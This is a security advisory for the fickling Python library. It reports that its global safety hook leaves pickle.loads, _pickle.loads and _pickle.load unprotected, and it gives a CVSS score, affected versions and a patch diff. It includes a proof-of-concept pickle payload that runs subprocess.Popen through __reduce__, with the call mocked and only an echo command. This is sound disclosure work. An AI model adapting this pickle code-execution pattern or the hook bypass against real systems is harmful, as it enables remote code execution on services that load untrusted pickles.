GHSA-wccx-j62j-r448

Suggest an improvement
Source
https://github.com/advisories/GHSA-wccx-j62j-r448
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wccx-j62j-r448/GHSA-wccx-j62j-r448.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wccx-j62j-r448
Published
2026-03-04T21:30:16Z
Modified
2026-03-04T21:49:54.338830Z
Severity
  • 8.9 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
Details

Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook(). Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only: - pickle.load - pickle.Unpickler - _pickle.Unpickler

It does not patch: - pickle.loads - _pickle.load - _pickle.loads

Reproduction (clean upstream)

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch('subprocess.Popen') as popen_mock:
    pickle.loads(data)
    print('bypass sink called?', popen_mock.called)  # True

# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print('blocked sink called?', popen_mock.called)  # False

Observed on vulnerable code: - pickle.loads executes payload - pickle.load is blocked

Minimal patch diff

--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads

Validation after patch

  • pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
  • sink not called in any path

Regression tests added locally: - test_run_hook_blocks_pickle_loads - test_run_hook_blocks__pickle_load_and_loads in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

Database specific
{
    "nvd_published_at": null,
    "github_reviewed_at": "2026-03-04T21:30:16Z",
    "cwe_ids": [
        "CWE-693"
    ],
    "severity": "HIGH",
    "github_reviewed": true
}
References

Affected packages

PyPI / fickling

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.1.9

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wccx-j62j-r448/GHSA-wccx-j62j-r448.json"
last_known_affected_version_range
"<= 0.1.8"